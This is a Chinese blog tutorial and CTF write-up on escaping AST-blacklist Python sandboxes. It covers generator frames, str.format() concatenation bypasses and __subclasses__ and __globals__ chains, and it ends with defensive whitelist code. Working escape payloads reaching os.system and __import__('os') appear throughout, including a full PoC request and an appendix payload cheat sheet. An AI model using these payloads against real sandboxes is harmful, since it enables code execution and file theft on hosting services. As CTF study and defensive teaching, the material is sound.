python沙箱AST逃逸最详细讲解
每天一篇博客之python沙箱AST逃逸
Day:3
第1章 Python 沙箱逃逸概述
1.1 什么是沙箱
沙箱(Sandbox)是一种安全机制,为不可信的代码提供一个隔离的执行环境。Python 沙箱通常用于:
- 在线判题系统(OJ):用户提交代码在服务端执行
- CTF 题目:选手需要从受限的代码执行环境中逃逸出来拿 Flag
- 插件系统:第三方插件运行在隔离环境中
- REPL 平台:在线 Python 解释器
1.2 沙箱逃逸的本质
沙箱逃逸(Sandbox Escape)就是从受限的执行环境突破到不受限的环境中。在 Python 沙箱中通常意味着:
受限环境 不受限环境
────────────────── 逃逸 ──────────────────
只能调某些函数 ────→ 可以调任意函数
不能 import ────→ 可以 import os
不能读文件 ────→ 可以 open("/flag")
不能执行命令 ────→ 可以 os.system("id")
1.3 沙箱的三种类型
| 类型 | 原理 | 示例 |
|---|---|---|
| 受限命名空间 | 只提供白名单函数/模块 | exec(code, {"__builtins__": {}}) |
| AST 黑名单 | 编译前扫描语法树,拦截危险节点 | 遍历 AST 检查属性名 |
| 白名单字节码 | 只允许特定字节码指令 | RestrictedPython |
本文重点讲解 AST 黑名单型 沙箱及其绕过。
第2章 Python 对象模型基础
2.1 Python 一切皆对象
这是理解 Python 沙箱逃逸的第一性原理。
# 类是对象
class Foo: pass # Foo 本身也是对象
# 函数是对象
def bar(): pass # bar 本身也是对象
# 类型是对象
type(42) # int 也是对象
type(int) # type 本身也是对象
2.2 属性的递归访问链
Python 的对象通过 . 运算符和 [] 下标运算符递归访问,这种递归性决定了逃逸路径的深度:
obj.attr # 对象属性
obj["key"] # 下标访问
obj.attr["key"] # 链式组合
obj.a.b.c.d # 任意深度
2.3 魔术属性链:沙箱逃逸的"高速公路"
每个 Python 对象都有一系列以 __ 开头的魔术属性,它们是沙箱逃逸的"高速公路":
"".__class__ # <class 'str'>
"".__class__.__mro__ # 方法解析顺序 (Method Resolution Order)
"".__class__.__mro__[1] # <class 'object'> — 所有类的基类
"".__class__.__mro__[1].__subclasses__() # object 的所有子类
这条链被称为 Python 沙箱逃逸的"万能钥匙":
# 经典逃逸链
for cls in "".__class__.__mro__[1].__subclasses__():
if cls.__name__ == "BuiltinImporter":
cls.load_module("os").system("id")
2.4 __builtins__:内置函数的宝库
__builtins__ 包含了所有 Python 内置函数:
__builtins__["__import__"] # import 语句的底层函数
__builtins__["open"] # 文件打开函数
__builtins__["eval"] # 表达式求值
__builtins__["exec"] # 代码执行
__builtins__["__import__"]("os").system("id")
几乎所有沙箱逃逸的最终目标都是拿到 __builtins__。
第3章 生成器与栈帧
3.1 生成器基础
普通函数:调用后一口气执行完,返回,内部变量全部销毁。
def hello():
secret = "flag"
print(secret)
生成器函数:带 yield 关键字,调用后返回生成器对象,每次执行到 yield 暂停。
def hello():
secret = "flag"
yield 1 # ← 暂停键
yield 2
g = hello() # 只是创建对象,不执行函数体
next(g) # 执行到第一个 yield,暂停
next(g) # 继续执行到第二个 yield,暂停
next(g) # StopIteration
3.2 yield 的暂停机制
关键理解:yield 暂停时,函数没有结束,所有局部变量仍然存在于内存中。
def gen():
secret = "只有我内部知道"
yield 1
g = gen()
next(g) # 执行到 yield,暂停
# secret 变量仍然存活在内存中,等待可能的 next(g) 继续执行
3.3 Frame(栈帧)
每次 Python 调用一个函数,底层会创建一个 frame 对象(栈帧),记录函数执行时的所有状态。
┌──────────────────────────────────────┐
│ Frame │
│ │
│ f_locals → 局部变量字典 │
│ f_globals → 全局变量字典 │
│ f_code → 代码对象(字节) │
│ f_lineno → 当前执行行号 │
│ f_back → 上一层调用者的帧 │
└──────────────────────────────────────┘
普通函数返回后 frame 销毁。生成器的 frame 在 yield 后不会销毁。
3.4 gi_frame — 生成器的栈帧接口
gi = Generator Iterator。每个生成器对象通过 gi_frame 暴露其内部栈帧:
def gen():
secret = "CTF{flag}"
yield 1
g = gen()
g.gi_frame # None — 生成器还没启动
next(g) # 启动生成器,执行到 yield
g.gi_frame # <frame object at 0x...> — 有值了!
g.gi_frame.f_locals
# {'secret': 'CTF{flag}'}
3.5 从生成器到 frame 属性速查
g.gi_frame # frame 对象
g.gi_frame.f_locals # 局部变量字典 ← 读生成器内部变量
g.gi_frame.f_globals # 全局变量字典 ← 含 __builtins__
g.gi_frame.f_back # 调用者帧 ← 向上回溯
g.gi_frame.f_code # 代码对象
g.gi_frame.f_lineno # 当前行号
g.gi_frame.f_locals["shipment_manifest"] # ← 读取指定局部变量
g.gi_frame.f_globals["__builtins__"]["open"]("/flag").read() # ← RCE
3.6 为什么 gi_frame 会存在?
gi_frame 的本意是供调试器(pdb、traceback)使用的。但在沙箱中,它成了攻击者从外部窥探函数内部的窗口。
第4章 AST 黑名单沙箱
4.1 什么是 AST
AST(Abstract Syntax Tree,抽象语法树)是源代码的树形结构表示。
import ast
code = "a + b * 3"
tree = ast.parse(code)
解析后的树:
Module
└── Expr
└── BinOp
├── Name('a')
├── Add()
└── BinOp
├── Name('b')
├── Mult()
└── Constant(3)
4.2 AST 黑名单沙箱的工作原理
三步流程:
用户输入代码字符串
│
▼
Step 1: ast.parse(code) → 把源码解析成 AST
Step 2: 遍历 AST 节点 → 检查黑名单中的属性名/字符串
Step 3: 通过后 exec(code) → 执行
4.3 两种拦截方式
方式一:拦截属性名(ast.Attribute)
FORBIDDEN_ATTRS = {
"gi_frame", "f_locals", "f_globals",
"__class__", "__base__", "__subclasses__",
"__builtins__", "__globals__", "__code__",
}
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
if node.attr in FORBIDDEN_ATTRS:
raise SandboxError(f"forbidden attribute: {node.attr}")
拦截示例:
g.gi_frame # ❌ ast.Attribute(attr="gi_frame")
g.gi_frame.f_locals # ❌ 两次拦截
().__class__ # ❌ ast.Attribute(attr="__class__")
方式二:拦截字符串常量(ast.Constant)
FORBIDDEN_STRINGS = {
"gi_frame", "f_locals", "__builtins__",
}
for node in ast.walk(tree):
if isinstance(node, ast.Constant) and isinstance(node.value, str):
for s in FORBIDDEN_STRINGS:
if s in node.value:
raise SandboxError(f"forbidden string: {s}")
拦截示例:
x = "gi_frame" # ❌ ast.Constant("gi_frame")
x = "f_locals" # ❌ ast.Constant("f_locals")
4.4 AST 检查的致命盲区
AST 只看源码文本,不看运行时的值。
# ❌ 源码中出现 "gi_frame" → AST 检测到 → 拦截
x = "gi_frame"
# ✅ 源码中出现 "gi_" + "frame" → AST 看到两个单独字符串 → 放行
x = "gi_" + "frame"
# 运行时拼接后等于 "gi_frame",此时 AST 已经检查完毕
这是所有绕过手法的总纲:编译期和运行期之间的时间差。
第5章 str.format() 逃逸
5.1 format() 你以为的功能
"我的名字是{},年龄{}".format("张三", 18)
# '我的名字是张三,年龄18'
"{0}和{1}和{0}".format("A", "B")
# 'A和B和A'
5.2 format() 实际上能做的
str.format() 的格式规范支持属性访问和下标访问:
# 属性访问
"{0.attr}".format(obj) → getattr(obj, "attr")
# 下标访问
"{0[key]}".format(obj) → obj["key"]
# 链式组合(任意深度)
"{0.a.b[c].d[e]}".format(obj) → obj.a.b["c"].d["e"]
格式字段解析规则:
"{0.a.b[c].d[e]}".format(obj)
format() 内部解析:
1. 取第 0 个参数 → obj
2. 遇到 .a → getattr(obj, "a")
3. 遇到 .b → getattr(obj.a, "b")
4. 遇到 [c] → obj.a.b["c"]
5. 遇到 .d → getattr(obj.a.b["c"], "d")
6. 遇到 [e] → obj.a.b["c"].d["e"]
5.3 绕过原理
format() 的格式字符串是一个独立的字符串,可以从运行时拼接得到。AST 检查的是源码中的字符串常量,不是拼接结果。
# AST 看到的三个字符串常量,每个都不含黑名单词
part1 = "{0.gi_"
part2 = "frame.f_"
part3 = "locals[shipment_manifest]}"
# 运行时拼接
field = part1 + part2 + part3
# field = "{0.gi_frame.f_locals[shipment_manifest]}"
# format() 在运行时执行属性链
result = field.format(g)
# 等价于: g.gi_frame.f_locals["shipment_manifest"]
5.4 对比:为什么直接写不行
# ❌ 直接被 AST 拦截
g.gi_frame.f_locals["shipment_manifest"]
# ❌ 也会被拦截,字符串常量含黑名单词
field = "gi_frame.f_locals"
5.5 变种
变种1:chr 函数绕过
g = iter_preview_items()
next(g)
# g=chr(103), i=chr(105), _=chr(95)
field = chr(103) + chr(105) + "_frame.f_locals[shipment_manifest]}"
result = ("{0." + field).format(g)
变种2:bytes 解码绕过
g = iter_preview_items()
next(g)
field = "{0." + b"gi_frame.f_locals".decode() + "[shipment_manifest]}"
result = field.format(g)
变种3:f-string 双层绕过
g = iter_preview_items()
next(g)
a = "gi_"
b = "frame"
field = f"{{0.{a}{b}.f_locals[shipment_manifest]}}"
result = field.format(g)
5.6 与其他 bypass 的类比
SQL 注入: ' O' || 'R' ' 1'='1 绕过 OR 关键词过滤
SSTI: "cla"~"ss__" 绕过 __class__ 过滤
Python: "{0.gi_" + "frame..." 绕过 gi_frame 过滤
共同本质:检测发生在编译/解析阶段,绕过手段把敏感字符串推迟到运行时才组装。
第6章 其他逃逸手法
6.1 getattr() 属性绕过
当属性名 .gi_frame 被拦截时,可以用 getattr() 函数:
# AST 看到的是函数调用,不是属性访问节点
getattr(g, "gi_frame").f_locals
如果 "gi_frame" 字符串也被拦截:
getattr(g, "gi_" + "frame").f_locals
6.2 __builtins__ 经典逃逸链
在限制 __builtins__ 的沙箱中,通过 object → 子类 → 危险模块 的链式逃逸:
# Step 1: 拿到 object 类
().__class__.__bases__[0]
# 或
"".__class__.__mro__[1]
# 或
{}.__class__.__bases__[0]
# Step 2: 列出 object 的所有子类
().__class__.__bases__[0].__subclasses__()
# Step 3: 寻找有用的子类(常用目标)
# - <class 'os.wrap_close'> → os 模块
# - <class 'warnings.catch_warnings'> → 内置模块访问
# - <class '_frozen_importlib.BuiltinImporter'> → import 能力
# - <class 'subprocess.Popen'> → 命令执行
# 完整利用(找 BuiltinImporter)
for cls in ().__class__.__bases__[0].__subclasses__():
if cls.__name__ == "BuiltinImporter":
cls.load_module("os").system("id")
6.3 函数对象的 __globals__
每个 Python 函数(包括 lambda)都有一个 __globals__ 属性,指向定义该函数时的全局命名空间:
def f():
pass
f.__globals__ # 包含模块的全局变量
f.__globals__["__builtins__"] # ← 拿到内置函数
f.__globals__["__builtins__"]["__import__"]("os").system("id")
如果函数名被拦截:
(lambda: 0).__globals__["__builtins__"]
# lambda 也是函数,同样有 __globals__
6.4 异常回溯(traceback)
try:
1/0
except Exception as e:
e.__traceback__.tb_frame.f_globals["__builtins__"]
# 通过异常对象的回溯帧访问全局作用域
6.5 sys.modules 缓存
import sys
sys.modules["os"] # 如果 os 之前被导入过,直接取缓存
6.6 绕过手法对照表
| 手法 | 绕过对象 | 核心机制 |
|---|---|---|
str.format() |
AST 属性名黑名单 | format 字段解析在运行期 |
getattr() |
AST 属性名黑名单 | 函数调用而非属性节点 |
| 字符串拼接 | 字符串常量黑名单 | 运行时拼接绕过编译期 |
__subclasses__() |
没有 builtins |
通过基类找到子类 |
__globals__ |
没有 builtins |
函数对象的全局命名空间 |
chr() / bytes() |
字符串常量黑名单 | 运行时生成字符串 |
eval() 嵌套 |
多重限制 | 二次执行绕过检查 |
第7章 实战:SCTF Rule Lab
7.1 题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | Rule Lab |
| 比赛 | SCTF |
| 沙箱类型 | AST 黑名单过滤型 |
| 核心漏洞 | str.format() 绕过 AST 属性检查 |
| 目标 | 读取生成器 frame 中的 shipment_manifest |
7.2 沙箱设定
服务端暴露了一个业务函数:
def iter_preview_items():
shipment_manifest = load_manifest() # ← flag 内容加载到局部变量
for item in preview_items:
yield item # ← yield,shipment_manifest 残留在 frame
沙箱核心逻辑:
code = user_input # 用户提交的代码
tree = ast.parse(code)
for node in ast.walk(tree):
# 拦截危险属性名
if isinstance(node, ast.Attribute):
if node.attr in FORBIDDEN_ATTRS:
raise SandboxError(f"forbidden attribute: {node.attr}")
# 拦截敏感字符串常量
if isinstance(node, ast.Constant) and isinstance(node.value, str):
for s in FORBIDDEN_STRINGS:
if s in node.value:
raise SandboxError(f"forbidden string: {s}")
exec(code) # 通过后执行
黑名单包含 gi_frame、f_locals、f_globals 等。
7.3 逐层分析
目标:读取 iter_preview_items() 生成器内部 frame 中的 shipment_manifest 变量。
正常读取代码:
g = iter_preview_items()
next(g)
g.gi_frame.f_locals["shipment_manifest"] # ❌ gi_frame 被拦截
字符串版:
g = iter_preview_items()
next(g)
result = g.gi_frame.f_locals["shipment_manifest"]
# ❌ 属性名 gi_frame、f_locals 被拦截
用 getattr 绕过属性名:
g = iter_preview_items()
next(g)
getattr(getattr(g, "gi_frame"), "f_locals")["shipment_manifest"]
# ❌ "gi_frame" 字符串被字符串常量检查拦截
用 getattr + 字符串拼接:
g = iter_preview_items()
next(g)
getattr(getattr(g, "gi_" + "frame"), "f_locals")["shipment_manifest"]
# ❌ getattr 中嵌套的 .f_locals 仍然会被 ast.Attribute 拦截
用 format 一次绕过:
g = iter_preview_items()
next(g)
# AST 看到的:
part1 = "{0.gi_" # ← 不包含黑名单词
part2 = "frame.f_" # ← 不包含黑名单词
part3 = "locals[shipment_manifest]}" # ← 不包含黑名单词
# 运行时:
field = part1 + part2 + part3
# field = "{0.gi_frame.f_locals[shipment_manifest]}"
result = field.format(g)
# 等价于: g.gi_frame.f_locals["shipment_manifest"]
7.4 完整 PoC
g = iter_preview_items()
next(g)
field = "{0.gi_" + "frame.f_" + "locals[shipment_manifest]}"
result = field.format(g)
提交请求:
POST /api/rules/run
Authorization: Bearer <token>
Content-Type: application/json
{
"code": "g = iter_preview_items()\nnext(g)\nfield = \"{0.gi_\" + \"frame.f_\" + \"locals[shipment_manifest]}\"\nresult = field.format(g)"
}
成功响应:
{
"ok": true,
"result": "SCTF{...}",
"elapsedMs": 0
}
7.5 知识链复盘
题目给了: iter_preview_items() 生成器函数
│
▼
[知识点1] 生成器 yield 暂停,frame 不销毁
→ 变量 shipment_manifest 仍存在于内存中
│
▼
[知识点2] 生成器对象有 gi_frame 属性
→ g.gi_frame 可以拿到生成器的栈帧
│
▼
[知识点3] frame 对象有 f_locals 属性
→ f_locals["shipment_manifest"] 可读取 flag
│
▼
[知识点4] AST 黑名单
→ 拦截 gi_frame、f_locals 出现在源码中
│
▼
[知识点5] str.format() 能做属性/下标访问
→ "{0.gi_frame.f_locals[key]}".format(g)
→ 等价于 g.gi_frame.f_locals["key"]
│
▼
[知识点6] 字符串拼接绕过 AST
→ "{0.gi_" + "frame.f_" + "locals[shipment_manifest]}"
→ AST 看到三个无害字符串自行拼接
7.6 其他绕过路径(拓展思路)
# 用 chr() 构造字符串
g = iter_preview_items()
next(g)
field = "{0." + chr(103) + chr(105) + "_frame.f_locals[shipment_manifest]}"
result = field.format(g)
# 用 bytes.decode()
g = iter_preview_items()
next(g)
field = "{0." + bytes([103, 105, 95, 102, 114, 97, 109, 101]).decode() + ".f_locals[shipment_manifest]}"
result = field.format(g)
# 读取 f_globals 实现 RCE
g = iter_preview_items()
next(g)
field = "{0.gi_" + "frame.f_" + "globals[__builtins__]}"
builtins = field.format(g)
builtins["__import__"]("os").system("cat /flag > /tmp/out")
第8章 防御与修复
8.1 对出题者的修复建议
| # | 建议 | 说明 |
|---|---|---|
| 1 | 白名单而非黑名单 | 只允许安全属性,而非拦截已知危险属性 |
| 2 | yield 后清理敏感变量 | del shipment_manifest 避免 frame 残留 |
| 3 | 禁用 str.format() | 或限制格式字符串来源 |
| 4 | 覆盖生成器的 format | 阻止 format() 访问内部 frame |
| 5 | 使用 RestrictedPython | 成熟的白名单方案 |
| 6 | 禁用 builtins | exec(code, {"__builtins__": {}}) |
8.2 针对 format 逃逸的防御
# 遍历 AST 拦截所有 Call 节点中调用 format 的
for node in ast.walk(tree):
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Attribute) and node.func.attr == "format":
raise SandboxError("format is not allowed")
但攻击者可以继续绕过:
# 用 getattr 间接调用 format
getattr("{0.gi_frame.f_locals[key]}", "format")(g)
8.3 终极方案:白名单策略
SAFE_ATTRS = {
# 只允许基础类型的安全属性
"real", "imag", "numerator", "denominator",
"start", "stop", "step",
"upper", "lower", "strip", "replace", "split",
"join", "count", "index", "find",
"keys", "values", "items", "get",
}
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
if node.attr not in SAFE_ATTRS:
raise SandboxError(f"unsafe attribute: {node.attr}")
黑名单总有遗漏,白名单才能彻底封堵。
8.4 关键教训
沙箱逃逸的本质不是"Python 有漏洞",而是"攻击者利用了 Python 强大而灵活的对象模型和反射能力,从本不应暴露的角度访问了内部机制"。
防御沙箱逃逸没有银弹。白名单 + 最小权限 + 深度防御 是唯一可靠的组合方案。
附录
A. 常用 Payload 速查
# 1. 经典 __subclasses__ 链
for cls in ().__class__.__bases__[0].__subclasses__():
if cls.__name__ == "wrap_close":
cls.__init__.__globals__["system"]("id")
# 2. 通过 BuiltinImporter 加载 os
for cls in ().__class__.__mro__[1].__subclasses__():
if cls.__name__ == "BuiltinImporter":
cls.load_module("os").system("id")
# 3. 异常回溯逃逸
try: 1/0
except: import sys; sys.exc_info()[2].tb_frame.f_globals
# 4. lambda 的 __globals__
(lambda: 0).__globals__["__builtins__"]
# 5. 生成器 frame 逃逸
g = (x for x in [1])
next(g)
g.gi_frame.f_globals["__builtins__"]
# 6. format 绕过 AST 黑名单
g = iter_preview_items()
next(g)
field = "{0.gi_" + "frame.f_" + "locals[shipment_manifest]}"
result = field.format(g)
B. 逃逸手法思维导图
Python 沙箱逃逸
│
├── 对象模型链
│ ├── __class__ → __mro__ → __subclasses__()
│ ├── __builtins__
│ └── __globals__
│
├── 生成器 & 帧
│ ├── gi_frame → f_locals / f_globals
│ ├── f_back → 向上回溯
│ └── tb_frame (异常回溯)
│
├── 绕过技术
│ ├── str.format() ← 本文重点
│ ├── getattr() 替代 . 运算
│ ├── 字符串拼接 chr/bytes
│ ├── 嵌套 eval()
│ └── import 技巧
│
└── 沙箱类型
├── AST 黑名单 → format / 拼接绕过
├── 命名空间限制 → __subclasses__ 链
├── exec 限制 → eval / compile
└── 白名单 → 寻找遗漏的白名单类
更多推荐

所有评论(0)